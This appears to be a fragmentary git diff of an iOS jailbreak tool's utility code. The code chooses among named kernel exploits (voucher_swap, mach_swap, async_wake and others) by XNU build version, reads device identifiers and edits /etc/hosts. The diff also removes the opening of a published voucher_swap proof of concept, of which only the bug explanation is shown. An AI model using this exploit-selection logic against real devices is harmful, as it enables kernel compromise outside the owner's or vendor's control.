struct sockaddr* sockaddr_src = malloc(sizeof(struct sockaddr));
|
||||
memset(sockaddr_src, 'A', sizeof(struct sockaddr));
|
||||
sockaddr_src->sa_len = sizeof(struct sockaddr);
|
||||
sockaddr_src->sa_family = AF_INET6;
|
||||
struct sockaddr* sockaddr_dst = malloc(sizeof(struct sockaddr));
|
||||
memset(sockaddr_dst, 'A', sizeof(struct sockaddr));
|
||||
sockaddr_dst->sa_len = sizeof(struct sockaddr);
|
||||
sockaddr_dst->sa_family = AF_INET;
|
||||
sa_endpoints_t eps = {0};
|
||||
eps.sae_srcif = 0;
|
||||
eps.sae_srcaddr = sockaddr_src;
|
||||
eps.sae_srcaddrlen = sizeof(struct sockaddr);
|
||||
eps.sae_dstaddr = sockaddr_dst;
|
||||
eps.sae_dstaddrlen = sizeof(struct sockaddr);
|
||||
connectx(sock, &eps, SAE_ASSOCID_ANY, 0, NULL, 0, NULL, NULL);
|
||||
rv = (errno != EPERM);
|
||||
free(sockaddr_src);
|
||||
free(sockaddr_dst);
|
||||
close(sock);
|
||||
return rv;
|
||||
}
|
||||
|
||||
bool jailbreakEnabled() {
|
||||
return kernelVersionContains(DEFAULT_VERSION_STRING) ||
|
||||
access(SLIDE_FILE, F_OK) == ERR_SUCCESS;
|
||||
return kernelVersionContains(DEFAULT_VERSION_STRING);
|
||||
}
|
||||
|
||||
NSString *getKernelBuildVersion() {
|
||||
NSString *kernelBuild = nil;
|
||||
NSString *cleanString = nil;
|
||||
char *kernelVersion = NULL;
|
||||
kernelVersion = getKernelVersion();
|
||||
if (kernelVersion == NULL) return nil;
|
||||
cleanString = [NSString stringWithUTF8String:kernelVersion];
|
||||
SafeFreeNULL(kernelVersion);
|
||||
cleanString = [[cleanString componentsSeparatedByString:@"; "] objectAtIndex:1];
|
||||
cleanString = [[cleanString componentsSeparatedByString:@"-"] objectAtIndex:1];
|
||||
cleanString = [[cleanString componentsSeparatedByString:@"/"] objectAtIndex:0];
|
||||
kernelBuild = [cleanString copy];
|
||||
return kernelBuild;
|
||||
}
|
||||
|
||||
bool supportsExploit(exploit_t exploit) {
|
||||
#ifdef CAN_HAS_UNSUPPORTED_EXPLOIT
|
||||
return true;
|
||||
#else /* !CAN_HAS_UNSUPPORTED_EXPLOIT */
|
||||
|
||||
NSString *minKernelBuildVersion = nil;
|
||||
NSString *maxKernelBuildVersion = nil;
|
||||
|
||||
bool supportsExploit(NSInteger exploit) {
|
||||
switch (exploit) {
|
||||
case multi_path_exploit: {
|
||||
if (!multi_path_tcp_enabled()) {
|
||||
return false;
|
||||
}
|
||||
minKernelBuildVersion = @"4397.0.0.2.4~1";
|
||||
maxKernelBuildVersion = @"4570.52.2~8";
|
||||
break;
|
||||
}
|
||||
case voucher_swap_exploit: {
|
||||
if (get_kernel_page_size() != 0x4000) {
|
||||
return false;
|
||||
}
|
||||
if (machineNameContains("iPad5,") &&
|
||||
kCFCoreFoundationVersionNumber >= kCFCoreFoundationVersionNumber_iOS_12_0) {
|
||||
return false;
|
||||
}
|
||||
minKernelBuildVersion = @"4397.0.0.2.4~1";
|
||||
maxKernelBuildVersion = @"4903.240.8~8";
|
||||
break;
|
||||
}
|
||||
case mach_swap_exploit: {
|
||||
if (get_kernel_page_size() != 0x1000 &&
|
||||
!machineNameContains("iPad5,") &&
|
||||
!machineNameContains("iPhone8,") &&
|
||||
!machineNameContains("iPad6,")) {
|
||||
return false;
|
||||
}
|
||||
minKernelBuildVersion = @"4397.0.0.2.4~1";
|
||||
maxKernelBuildVersion = @"4903.240.8~8";
|
||||
break;
|
||||
}
|
||||
case mach_swap_2_exploit: {
|
||||
minKernelBuildVersion = @"4397.0.0.2.4~1";
|
||||
maxKernelBuildVersion = @"4903.240.8~8";
|
||||
break;
|
||||
}
|
||||
case deja_xnu_exploit: {
|
||||
if (jailbreakEnabled())
|
||||
return false;
|
||||
minKernelBuildVersion = @"4397.0.0.2.4~1";
|
||||
maxKernelBuildVersion = @"4570.70.24~9";
|
||||
break;
|
||||
}
|
||||
case empty_list_exploit: {
|
||||
minKernelBuildVersion = @"4397.0.0.2.4~1";
|
||||
maxKernelBuildVersion = @"4570.60.19~25";
|
||||
NSArray *list =
|
||||
@[@"4397.0.0.2.4~1",
|
||||
@"4481.0.0.2.1~1",
|
||||
@"4532.0.0.0.1~30",
|
||||
@"4556.0.0.2.5~1",
|
||||
@"4570.1.24.2.3~1",
|
||||
@"4570.2.3~8",
|
||||
@"4570.2.5~84",
|
||||
@"4570.2.5~167",
|
||||
@"4570.7.2~3",
|
||||
@"4570.20.55~10",
|
||||
@"4570.20.62~9",
|
||||
@"4570.20.62~4",
|
||||
@"4570.30.79~22",
|
||||
@"4570.30.85~18",
|
||||
@"4570.32.1~2",
|
||||
@"4570.32.1~1",
|
||||
@"4570.40.6~8",
|
||||
@"4570.40.9~7",
|
||||
@"4570.40.9~1",
|
||||
@"4570.50.243~9",
|
||||
@"4570.50.257~6",
|
||||
@"4570.50.279~9",
|
||||
@"4570.50.294~5",
|
||||
@"4570.52.2~3",
|
||||
@"4570.52.2~8",
|
||||
@"4570.60.10.0.1~16",
|
||||
@"4570.60.16~9",
|
||||
@"4570.60.19~25"];
|
||||
for (NSString *string in list) {
|
||||
if (kernelVersionContains(string.UTF8String)) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
break;
|
||||
}
|
||||
case multi_path_exploit: {
|
||||
NSArray *list =
|
||||
@[@"4397.0.0.2.4~1",
|
||||
@"4481.0.0.2.1~1",
|
||||
@"4532.0.0.0.1~30",
|
||||
@"4556.0.0.2.5~1",
|
||||
@"4570.1.24.2.3~1",
|
||||
@"4570.2.3~8",
|
||||
@"4570.2.5~84",
|
||||
@"4570.2.5~167",
|
||||
@"4570.7.2~3",
|
||||
@"4570.20.55~10",
|
||||
@"4570.20.62~9",
|
||||
@"4570.20.62~4",
|
||||
@"4570.30.79~22",
|
||||
@"4570.30.85~18",
|
||||
@"4570.32.1~2",
|
||||
@"4570.32.1~1",
|
||||
@"4570.40.6~8",
|
||||
@"4570.40.9~7",
|
||||
@"4570.40.9~1",
|
||||
@"4570.50.243~9",
|
||||
@"4570.50.257~6",
|
||||
@"4570.50.279~9",
|
||||
@"4570.50.294~5",
|
||||
@"4570.52.2~3",
|
||||
@"4570.52.2~8",];
|
||||
for (NSString *string in list) {
|
||||
if (kernelVersionContains(string.UTF8String) &&
|
||||
multi_path_tcp_enabled()) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
break;
|
||||
}
|
||||
case async_wake_exploit: {
|
||||
minKernelBuildVersion = @"4397.0.0.2.4~1";
|
||||
maxKernelBuildVersion = @"4570.20.62~4";
|
||||
NSArray *list =
|
||||
@[@"4397.0.0.2.4~1",
|
||||
@"4481.0.0.2.1~1",
|
||||
@"4532.0.0.0.1~30",
|
||||
@"4556.0.0.2.5~1",
|
||||
@"4570.1.24.2.3~1",
|
||||
@"4570.2.3~8",
|
||||
@"4570.2.5~84",
|
||||
@"4570.2.5~167",
|
||||
@"4570.7.2~3",
|
||||
@"4570.20.55~10",
|
||||
@"4570.20.62~9",
|
||||
@"4570.20.62~4"];
|
||||
for (NSString *string in list) {
|
||||
if (kernelVersionContains(string.UTF8String)) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
break;
|
||||
}
|
||||
case deja_xnu_exploit: {
|
||||
NSArray *list =
|
||||
@[@"4397.0.0.2.4~1",
|
||||
@"4481.0.0.2.1~1",
|
||||
@"4532.0.0.0.1~30",
|
||||
@"4556.0.0.2.5~1",
|
||||
@"4570.1.24.2.3~1",
|
||||
@"4570.2.3~8",
|
||||
@"4570.2.5~84",
|
||||
@"4570.2.5~167",
|
||||
@"4570.7.2~3",
|
||||
@"4570.20.55~10",
|
||||
@"4570.20.62~9",
|
||||
@"4570.20.62~4",
|
||||
@"4570.30.79~22",
|
||||
@"4570.30.85~18",
|
||||
@"4570.32.1~2",
|
||||
@"4570.32.1~1",
|
||||
@"4570.40.6~8",
|
||||
@"4570.40.9~7",
|
||||
@"4570.40.9~1",
|
||||
@"4570.50.243~9",
|
||||
@"4570.50.257~6",
|
||||
@"4570.50.279~9",
|
||||
@"4570.50.294~5",
|
||||
@"4570.52.2~3",
|
||||
@"4570.52.2~8",
|
||||
@"4570.60.10.0.1~16",
|
||||
@"4570.60.16~9",
|
||||
@"4570.60.19~25",
|
||||
@"4570.60.21~7",
|
||||
@"4570.60.21~3",
|
||||
@"4570.70.14~16",
|
||||
@"4570.70.19~13",
|
||||
@"4570.70.24~9",
|
||||
@"4570.70.24~3"];
|
||||
for (NSString *string in list) {
|
||||
if (kernelVersionContains(string.UTF8String) &&
|
||||
!jailbreakEnabled()) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
break;
|
||||
}
|
||||
case necp_exploit: {
|
||||
minKernelBuildVersion = @"4397.0.0.2.4~1";
|
||||
maxKernelBuildVersion = @"4570.70.24~9";
|
||||
break;
|
||||
}
|
||||
case kalloc_crash: {
|
||||
minKernelBuildVersion = @"4397.0.0.2.4~1";
|
||||
maxKernelBuildVersion = @"4903.252.2~2";
|
||||
NSArray *list =
|
||||
@[@"4397.0.0.2.4~1",
|
||||
@"4481.0.0.2.1~1",
|
||||
@"4532.0.0.0.1~30",
|
||||
@"4556.0.0.2.5~1",
|
||||
@"4570.1.24.2.3~1",
|
||||
@"4570.2.3~8",
|
||||
@"4570.2.5~84",
|
||||
@"4570.2.5~167",
|
||||
@"4570.7.2~3",
|
||||
@"4570.20.55~10",
|
||||
@"4570.20.62~9",
|
||||
@"4570.20.62~4",
|
||||
@"4570.30.79~22",
|
||||
@"4570.30.85~18",
|
||||
@"4570.32.1~2",
|
||||
@"4570.32.1~1",
|
||||
@"4570.40.6~8",
|
||||
@"4570.40.9~7",
|
||||
@"4570.40.9~1",
|
||||
@"4570.50.243~9",
|
||||
@"4570.50.257~6",
|
||||
@"4570.50.279~9",
|
||||
@"4570.50.294~5",
|
||||
@"4570.52.2~3",
|
||||
@"4570.52.2~8",
|
||||
@"4570.60.10.0.1~16",
|
||||
@"4570.60.16~9",
|
||||
@"4570.60.19~25",
|
||||
@"4570.60.21~7",
|
||||
@"4570.60.21~3",
|
||||
@"4570.70.14~16",
|
||||
@"4570.70.19~13",
|
||||
@"4570.70.24~9",
|
||||
@"4570.70.24~3"];
|
||||
for (NSString *string in list) {
|
||||
if (kernelVersionContains(string.UTF8String)) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
break;
|
||||
}
|
||||
default:
|
||||
return false;
|
||||
break;
|
||||
}
|
||||
|
||||
if (minKernelBuildVersion != nil && maxKernelBuildVersion != nil) {
|
||||
NSString *kernelBuildVersion = getKernelBuildVersion();
|
||||
if (kernelBuildVersion != nil) {
|
||||
if ([kernelBuildVersion compare:minKernelBuildVersion options:NSNumericSearch] != NSOrderedAscending && [kernelBuildVersion compare:maxKernelBuildVersion options:NSNumericSearch] != NSOrderedDescending) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
} else {
|
||||
return true;
|
||||
}
|
||||
|
||||
return false;
|
||||
#endif /* !CAN_HAS_UNSUPPORTED_EXPLOIT */
|
||||
}
|
||||
|
||||
bool jailbreakSupported() {
|
||||
return supportsExploit(empty_list_exploit) ||
|
||||
supportsExploit(multi_path_exploit) ||
|
||||
supportsExploit(async_wake_exploit) ||
|
||||
supportsExploit(voucher_swap_exploit) ||
|
||||
supportsExploit(mach_swap_exploit) ||
|
||||
supportsExploit(mach_swap_2_exploit);
|
||||
supportsExploit(async_wake_exploit);
|
||||
}
|
||||
|
||||
bool respringSupported() {
|
||||
@@ -831,20 +804,12 @@ bool respringSupported() {
|
||||
}
|
||||
|
||||
bool restartSupported() {
|
||||
return supportsExploit(necp_exploit) ||
|
||||
supportsExploit(voucher_swap_exploit) ||
|
||||
supportsExploit(kalloc_crash);
|
||||
return supportsExploit(necp_exploit);
|
||||
}
|
||||
|
||||
NSInteger recommendedJailbreakSupport() {
|
||||
if (supportsExploit(mach_swap_exploit))
|
||||
return mach_swap_exploit;
|
||||
else if (supportsExploit(async_wake_exploit))
|
||||
if (supportsExploit(async_wake_exploit))
|
||||
return async_wake_exploit;
|
||||
else if (supportsExploit(voucher_swap_exploit))
|
||||
return voucher_swap_exploit;
|
||||
else if (supportsExploit(mach_swap_2_exploit))
|
||||
return mach_swap_2_exploit;
|
||||
else if (supportsExploit(multi_path_exploit))
|
||||
return multi_path_exploit;
|
||||
else if (supportsExploit(empty_list_exploit))
|
||||
@@ -856,10 +821,6 @@ NSInteger recommendedJailbreakSupport() {
|
||||
NSInteger recommendedRestartSupport() {
|
||||
if (supportsExploit(necp_exploit))
|
||||
return necp_exploit;
|
||||
else if (supportsExploit(voucher_swap_exploit))
|
||||
return voucher_swap_exploit;
|
||||
else if (supportsExploit(kalloc_crash))
|
||||
return kalloc_crash;
|
||||
else
|
||||
return -1;
|
||||
}
|
||||
@@ -892,21 +853,21 @@ bool debuggerEnabled() {
|
||||
return (getppid() != 1);
|
||||
}
|
||||
|
||||
NSString *getLogFile() {
|
||||
static NSString *logfile;
|
||||
static dispatch_once_t onceToken;
|
||||
dispatch_once(&onceToken, ^{
|
||||
logfile = [NSHomeDirectory() stringByAppendingPathComponent:@"Documents/log_file.txt"];
|
||||
});
|
||||
const char *getLogFile() {
|
||||
static const char *logfile = NULL;
|
||||
if (logfile == NULL) {
|
||||
NSString *homeDirectory = NSHomeDirectory();
|
||||
logfile = [NSString stringWithFormat:@"%@/Documents/log_file.txt", homeDirectory].UTF8String;
|
||||
}
|
||||
return logfile;
|
||||
}
|
||||
|
||||
void enableLogging() {
|
||||
if (!debuggerEnabled()) {
|
||||
int old_logfd = logfd;
|
||||
int newfd = open(getLogFile().UTF8String, O_WRONLY|O_CREAT|O_APPEND, 0644);
|
||||
if (newfd < 0) {
|
||||
LOG("Error opening logfile: %s", strerror(errno));
|
||||
int newfd = open(getLogFile(), O_WRONLY|O_CREAT, 0);
|
||||
if (newfd > 0) {
|
||||
init_file(getLogFile(), 501, 0644);
|
||||
}
|
||||
logfd = newfd;
|
||||
if (old_logfd > 0)
|
||||
@@ -924,7 +885,7 @@ void disableLogging() {
|
||||
}
|
||||
|
||||
void cleanLogs() {
|
||||
const char *logFile = getLogFile().UTF8String;
|
||||
const char *logFile = getLogFile();
|
||||
clean_file(logFile);
|
||||
enableLogging();
|
||||
}
|
||||
@@ -968,320 +929,7 @@ void list(NSString *directory) {
|
||||
LOG(@"%s(%@): %@", __FUNCTION__, directory, listArray);
|
||||
}
|
||||
|
||||
bool canRead(const char *file) {
|
||||
NSString *path = @(file);
|
||||
NSFileManager *fileManager = [NSFileManager defaultManager];
|
||||
return ([fileManager attributesOfItemAtPath:path error:nil]);
|
||||
}
|
||||
|
||||
bool restartSpringBoard() {
|
||||
pid_t backboardd_pid = pidOfProcess("/usr/libexec/backboardd");
|
||||
if (!(backboardd_pid > 1)) {
|
||||
LOG("Unable to find backboardd pid.");
|
||||
return false;
|
||||
}
|
||||
if (kill(backboardd_pid, SIGTERM) != ERR_SUCCESS) {
|
||||
LOG("Unable to terminate backboardd.");
|
||||
return false;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
bool uninstallRootLessJB() {
|
||||
BOOL foundRootLessJB = NO;
|
||||
NSFileManager *fileManager = [NSFileManager defaultManager];
|
||||
NSString *rootLessJBBootstrapMarkerFile = @"/var/containers/Bundle/.installed_rootlessJB3";
|
||||
NSArray *rootLessJBFileList = @[@"/var/LIB", @"/var/ulb", @"/var/bin", @"/var/sbin", @"/var/libexec", @"/var/containers/Bundle/tweaksupport/Applications", @"/var/Apps", @"/var/profile", @"/var/motd", @"/var/dropbear", @"/var/containers/Bundle/tweaksupport", @"/var/containers/Bundle/iosbinpack64", @"/var/log/testbin.log", @"/var/log/jailbreakd-stdout.log", @"/var/log/jailbreakd-stderr.log", @"/var/log/pspawn_payload_xpcproxy.log", @"/var/lib", @"/var/etc", @"/var/usr", rootLessJBBootstrapMarkerFile];
|
||||
if ([fileManager fileExistsAtPath:rootLessJBBootstrapMarkerFile]) {
|
||||
LOG("Found RootLessJB.");
|
||||
foundRootLessJB = YES;
|
||||
}
|
||||
if (foundRootLessJB) {
|
||||
LOG("Uninstalling RootLessJB...");
|
||||
for (NSString *file in rootLessJBFileList) {
|
||||
if ([fileManager fileExistsAtPath:file] && ![fileManager removeItemAtPath:file error:nil]) {
|
||||
LOG("Unable to remove file: %@", file);
|
||||
return false;
|
||||
}
|
||||
}
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
bool verifyECID(NSString *ecid) {
|
||||
CFStringRef value = MGCopyAnswer(kMGUniqueChipID);
|
||||
if (value == nil) {
|
||||
LOG("Unable to get ECID.");
|
||||
return false;
|
||||
}
|
||||
if (![ecid isEqualToString:CFBridgingRelease(value)]) {
|
||||
LOG("Unable to verify ECID.");
|
||||
return false;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
bool canOpen(const char *URL) {
|
||||
__block bool canOpenURL = false;
|
||||
dispatch_semaphore_t semaphore = dispatch_semaphore_create(0);
|
||||
dispatch_async(dispatch_get_main_queue(), ^{
|
||||
if ([[UIApplication sharedApplication] canOpenURL:[NSURL URLWithString:@(URL)]]) {
|
||||
canOpenURL = true;
|
||||
}
|
||||
dispatch_semaphore_signal(semaphore);
|
||||
});
|
||||
dispatch_semaphore_wait(semaphore, DISPATCH_TIME_FOREVER);
|
||||
return canOpenURL;
|
||||
}
|
||||
|
||||
bool airplaneModeEnabled() {
|
||||
struct sockaddr_in zeroAddress;
|
||||
bzero(&zeroAddress, sizeof(zeroAddress));
|
||||
zeroAddress.sin_len = sizeof(zeroAddress);
|
||||
zeroAddress.sin_family = AF_INET;
|
||||
SCNetworkReachabilityRef reachability = SCNetworkReachabilityCreateWithAddress(kCFAllocatorDefault, (const struct sockaddr *)&zeroAddress);
|
||||
if (reachability == NULL)
|
||||
return false;
|
||||
SCNetworkReachabilityFlags flags;
|
||||
if (!SCNetworkReachabilityGetFlags(reachability, &flags)) {
|
||||
return false;
|
||||
}
|
||||
if (flags == 0) {
|
||||
return true;
|
||||
} else {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
bool installApp(const char *bundle) {
|
||||
NSString *bundle_path = @(bundle);
|
||||
NSURL *URL = [NSURL URLWithString:bundle_path];
|
||||
NSString *info_plist_path = [bundle_path stringByAppendingPathComponent:@"Info.plist"];
|
||||
NSMutableDictionary *info_plist = [NSMutableDictionary dictionaryWithContentsOfFile:info_plist_path];
|
||||
NSString *bundle_identifier = info_plist[@"CFBundleIdentifier"];
|
||||
NSMutableDictionary *options = [NSMutableDictionary new];
|
||||
options[@"CFBundleIdentifier"] = bundle_identifier;
|
||||
LSApplicationWorkspace *applicationWorkspace = [LSApplicationWorkspace defaultWorkspace];
|
||||
if ([applicationWorkspace installApplication:URL withOptions:options]) {
|
||||
return true;
|
||||
} else {
|
||||
LOG("Failed to install application");
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
bool rebuildApplicationDatabases() {
|
||||
LSApplicationWorkspace *applicationWorkspace = [LSApplicationWorkspace defaultWorkspace];
|
||||
if ([applicationWorkspace _LSPrivateRebuildApplicationDatabasesForSystemApps:YES internal:YES user:NO]) {
|
||||
return true;
|
||||
} else {
|
||||
LOG("Failed to rebuild application databases");
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
char *get_path_for_pid(pid_t pid) {
|
||||
char *ret = NULL;
|
||||
uint32_t path_size = PROC_PIDPATHINFO_MAXSIZE;
|
||||
char *path = malloc(path_size);
|
||||
if (path != NULL) {
|
||||
if (proc_pidpath(pid, path, path_size) >= 0) {
|
||||
ret = strdup(path);
|
||||
}
|
||||
SafeFreeNULL(path);
|
||||
}
|
||||
return ret;
|
||||
}
|
||||
|
||||
NSString *getECID() {
|
||||
NSString *ECID = nil;
|
||||
CFStringRef value = MGCopyAnswer(kMGUniqueChipID);
|
||||
if (value != nil) {
|
||||
ECID = [NSString stringWithFormat:@"%@", value];
|
||||
CFRelease(value);
|
||||
}
|
||||
return ECID;
|
||||
}
|
||||
|
||||
NSString *getUDID() {
|
||||
NSString *UDID = nil;
|
||||
CFStringRef value = MGCopyAnswer(kMGUniqueDeviceID);
|
||||
if (value != nil) {
|
||||
UDID = [NSString stringWithFormat:@"%@", value];
|
||||
CFRelease(value);
|
||||
}
|
||||
return UDID;
|
||||
}
|
||||
|
||||
char *sysctlWithName(const char *name) {
|
||||
kern_return_t kr = KERN_FAILURE;
|
||||
char *ret = NULL;
|
||||
size_t *size = NULL;
|
||||
size = (size_t *)malloc(sizeof(size_t));
|
||||
if (size == NULL) goto out;
|
||||
bzero(size, sizeof(size_t));
|
||||
if (sysctlbyname(name, NULL, size, NULL, 0) != ERR_SUCCESS) goto out;
|
||||
ret = (char *)malloc(*size);
|
||||
if (ret == NULL) goto out;
|
||||
bzero(ret, *size);
|
||||
if (sysctlbyname(name, ret, size, NULL, 0) != ERR_SUCCESS) goto out;
|
||||
kr = KERN_SUCCESS;
|
||||
out:
|
||||
if (kr == KERN_FAILURE) SafeFreeNULL(ret);
|
||||
SafeFreeNULL(size);
|
||||
return ret;
|
||||
}
|
||||
|
||||
char *getOSVersion() {
|
||||
return sysctlWithName("kern.osversion");
|
||||
}
|
||||
|
||||
char *getOSProductVersion() {
|
||||
return sysctlWithName("kern.osproductversion");
|
||||
}
|
||||
|
||||
void printOSDetails() {
|
||||
char *machineName = NULL;
|
||||
char *modelName = NULL;
|
||||
char *kernelVersion = NULL;
|
||||
char *OSProductVersion = NULL;
|
||||
char *OSVersion = NULL;
|
||||
machineName = getMachineName();
|
||||
if (machineName == NULL) goto out;
|
||||
modelName = getModelName();
|
||||
if (modelName == NULL) goto out;
|
||||
kernelVersion = getKernelVersion();
|
||||
if (kernelVersion == NULL) goto out;
|
||||
OSProductVersion = getOSProductVersion();
|
||||
if (OSProductVersion == NULL) goto out;
|
||||
OSVersion = getOSVersion();
|
||||
if (OSVersion == NULL) goto out;
|
||||
LOG("Machine Name: %s", machineName);
|
||||
LOG("Model Name: %s", modelName);
|
||||
LOG("Kernel Version: %s", kernelVersion);
|
||||
LOG("Kernel Page Size: 0x%lx", get_kernel_page_size());
|
||||
LOG("System Version: iOS %s (%s) (Build: %s)", OSProductVersion, isBetaFirmware() ? "Beta" : "Stable", OSVersion);
|
||||
out:
|
||||
SafeFreeNULL(machineName);
|
||||
SafeFreeNULL(modelName);
|
||||
SafeFreeNULL(kernelVersion);
|
||||
SafeFreeNULL(OSProductVersion);
|
||||
SafeFreeNULL(OSVersion);
|
||||
}
|
||||
|
||||
bool isBetaFirmware() {
|
||||
bool ret = false;
|
||||
char *OSVersion = getOSVersion();
|
||||
if (OSVersion == NULL) return false;
|
||||
if (strlen(OSVersion) > 6) ret = true;
|
||||
SafeFreeNULL(OSVersion);
|
||||
return ret;
|
||||
}
|
||||
|
||||
double getUptime() {
|
||||
double uptime = 0;
|
||||
size_t *size = NULL;
|
||||
struct timeval *boottime = NULL;
|
||||
size = (size_t *)malloc(sizeof(size_t));
|
||||
if (size == NULL) goto out;
|
||||
bzero(size, sizeof(size_t));
|
||||
*size = sizeof(struct timeval);
|
||||
boottime = (struct timeval *)malloc(*size);
|
||||
if (boottime == NULL) goto out;
|
||||
bzero(boottime, *size);
|
||||
int mib[2] = { CTL_KERN, KERN_BOOTTIME };
|
||||
if (sysctl(mib, 2, boottime, size, NULL, 0) != ERR_SUCCESS) goto out;
|
||||
time_t bsec = boottime->tv_sec, csec = time(NULL);
|
||||
uptime = difftime(csec, bsec);
|
||||
out:
|
||||
SafeFreeNULL(size);
|
||||
SafeFreeNULL(boottime);
|
||||
return uptime;
|
||||
}
|
||||
|
||||
vm_size_t get_kernel_page_size() {
|
||||
vm_size_t kernel_page_size = 0;
|
||||
vm_size_t *out_page_size = NULL;
|
||||
host_t host = mach_host_self();
|
||||
if (!MACH_PORT_VALID(host)) goto out;
|
||||
out_page_size = (vm_size_t *)malloc(sizeof(vm_size_t));
|
||||
if (out_page_size == NULL) goto out;
|
||||
bzero(out_page_size, sizeof(vm_size_t));
|
||||
if (_host_page_size(host, out_page_size) != KERN_SUCCESS) goto out;
|
||||
kernel_page_size = *out_page_size;
|
||||
out:
|
||||
if (MACH_PORT_VALID(host)) mach_port_deallocate(mach_task_self(), host); host = HOST_NULL;
|
||||
SafeFreeNULL(out_page_size);
|
||||
return kernel_page_size;
|
||||
}
|
||||
|
||||
int waitForFile(const char *filename) {
|
||||
auto rv = access(filename, F_OK);
|
||||
for (auto i = 0; !(i >= 100 || rv == ERR_SUCCESS); i++) {
|
||||
usleep(100000);
|
||||
rv = access(filename, F_OK);
|
||||
}
|
||||
return rv;
|
||||
}
|
||||
|
||||
NSString *hexFromInt(NSInteger val) {
|
||||
return [NSString stringWithFormat:@"0x%lX", (long)val];
|
||||
}
|
||||
|
||||
void waitFor(int seconds) {
|
||||
for (auto i = 1; i <= seconds; i++) {
|
||||
LOG("Waiting (%d/%d)", i, seconds);
|
||||
sleep(1);
|
||||
}
|
||||
}
|
||||
|
||||
void blockDomainWithName(const char *name) {
|
||||
id hostsFile = nil;
|
||||
id newLine = nil;
|
||||
id newHostsFile = nil;
|
||||
hostsFile = [NSString stringWithContentsOfFile:@"/etc/hosts" encoding:NSUTF8StringEncoding error:nil];
|
||||
newHostsFile = hostsFile;
|
||||
newLine = [NSString stringWithFormat:@"\n127.0.0.1 %s\n", name];
|
||||
if (![hostsFile containsString:newLine]) {
|
||||
newHostsFile = [newHostsFile stringByAppendingString:newLine];
|
||||
}
|
||||
newLine = [NSString stringWithFormat:@"\n::1 %s\n", name];
|
||||
if (![hostsFile containsString:newLine]) {
|
||||
newHostsFile = [newHostsFile stringByAppendingString:newLine];
|
||||
}
|
||||
if (![newHostsFile isEqual:hostsFile]) {
|
||||
[newHostsFile writeToFile:@"/etc/hosts" atomically:YES encoding:NSUTF8StringEncoding error:nil];
|
||||
}
|
||||
}
|
||||
|
||||
void unblockDomainWithName(const char *name) {
|
||||
id hostsFile = nil;
|
||||
id newLine = nil;
|
||||
id newHostsFile = nil;
|
||||
hostsFile = [NSString stringWithContentsOfFile:@"/etc/hosts" encoding:NSUTF8StringEncoding error:nil];
|
||||
newHostsFile = hostsFile;
|
||||
newLine = [NSString stringWithFormat:@"\n127.0.0.1 %s\n", name];
|
||||
if ([hostsFile containsString:newLine]) {
|
||||
newHostsFile = [hostsFile stringByReplacingOccurrencesOfString:newLine withString:@""];
|
||||
}
|
||||
newLine = [NSString stringWithFormat:@"\n0.0.0.0 %s\n", name];
|
||||
if ([hostsFile containsString:newLine]) {
|
||||
newHostsFile = [hostsFile stringByReplacingOccurrencesOfString:newLine withString:@""];
|
||||
}
|
||||
newLine = [NSString stringWithFormat:@"\n0.0.0.0 %s\n", name];
|
||||
if ([hostsFile containsString:newLine]) {
|
||||
newHostsFile = [hostsFile stringByReplacingOccurrencesOfString:newLine withString:@""];
|
||||
}
|
||||
newLine = [NSString stringWithFormat:@"\n::1 %s\n", name];
|
||||
if ([hostsFile containsString:newLine]) {
|
||||
newHostsFile = [hostsFile stringByReplacingOccurrencesOfString:newLine withString:@""];
|
||||
}
|
||||
if (![newHostsFile isEqual:hostsFile]) {
|
||||
[newHostsFile writeToFile:@"/etc/hosts" atomically:YES encoding:NSUTF8StringEncoding error:nil];
|
||||
}
|
||||
}
|
||||
|
||||
__attribute__((constructor))
|
||||
static void ctor() {
|
||||
toInjectToTrustCache = [NSMutableArray new];
|
||||
sourcePath = [[NSBundle mainBundle] bundlePath];
|
||||
}
|
||||
|
||||
@@ -1,375 +0,0 @@
|
||||
/*
|
||||
* voucher_swap-poc.c
|
||||
* Brandon Azad
|
||||
*/
|
||||
#if 0
|
||||
iOS/macOS: task_swap_mach_voucher() does not respect MIG semantics leading to use-after-free
|
||||
|
||||
The dangers of not obeying MIG semantics have been well documented: see issues 926 (CVE-2016-7612),
|
||||
954 (CVE-2016-7633), 1417 (CVE-2017-13861, async_wake), 1520 (CVE-2018-4139), 1529 (CVE-2018-4206),
|
||||
and 1629 (no CVE), as well as CVE-2018-4280 (blanket). However, despite numerous fixes and
|
||||
mitigations, MIG issues persist and offer incredibly powerful exploit primitives. Part of the
|
||||
problem is that MIG semantics are complicated and unintuitive and do not align well with the
|
||||
kernel's abstractions.
|
||||
|
||||
Consider the MIG routine task_swap_mach_voucher():
|
||||
|
||||
routine task_swap_mach_voucher(
|
||||
task : task_t;
|
||||
new_voucher : ipc_voucher_t;
|
||||
inout old_voucher : ipc_voucher_t);
|
||||
|
||||
Here's the (placeholder) implementation:
|
||||
|
||||
kern_return_t
|
||||
task_swap_mach_voucher(
|
||||
task_t task,
|
||||
ipc_voucher_t new_voucher,
|
||||
ipc_voucher_t *in_out_old_voucher)
|
||||
{
|
||||
if (TASK_NULL == task)
|
||||
return KERN_INVALID_TASK;
|
||||
|
||||
*in_out_old_voucher = new_voucher;
|
||||
return KERN_SUCCESS;
|
||||
}
|
||||
|
||||
The correctness of this implementation depends on exactly how MIG ownership semantics are defined
|
||||
for each of these parameters.
|
||||
|
||||
When dealing with Mach ports and out-of-line memory, ownership follows the traditional rules (the
|
||||
ones violated by the bugs above):
|
||||
|
||||
1. All Mach ports (except the first) passed as input parameters are owned by the service routine if
|
||||
and only if the service routine returns success. If the service routine returns failure then MIG
|
||||
will deallocate the ports.
|
||||
|
||||
2. All out-of-line memory regions passed as input parameters are owned by the service routine if
|
||||
and only if the service routine returns success. If the service routine returns failure then MIG
|
||||
will deallocate all out-of-line memory.
|
||||
|
||||
But this is only part of the picture. There are more rules for other types of objects:
|
||||
|
||||
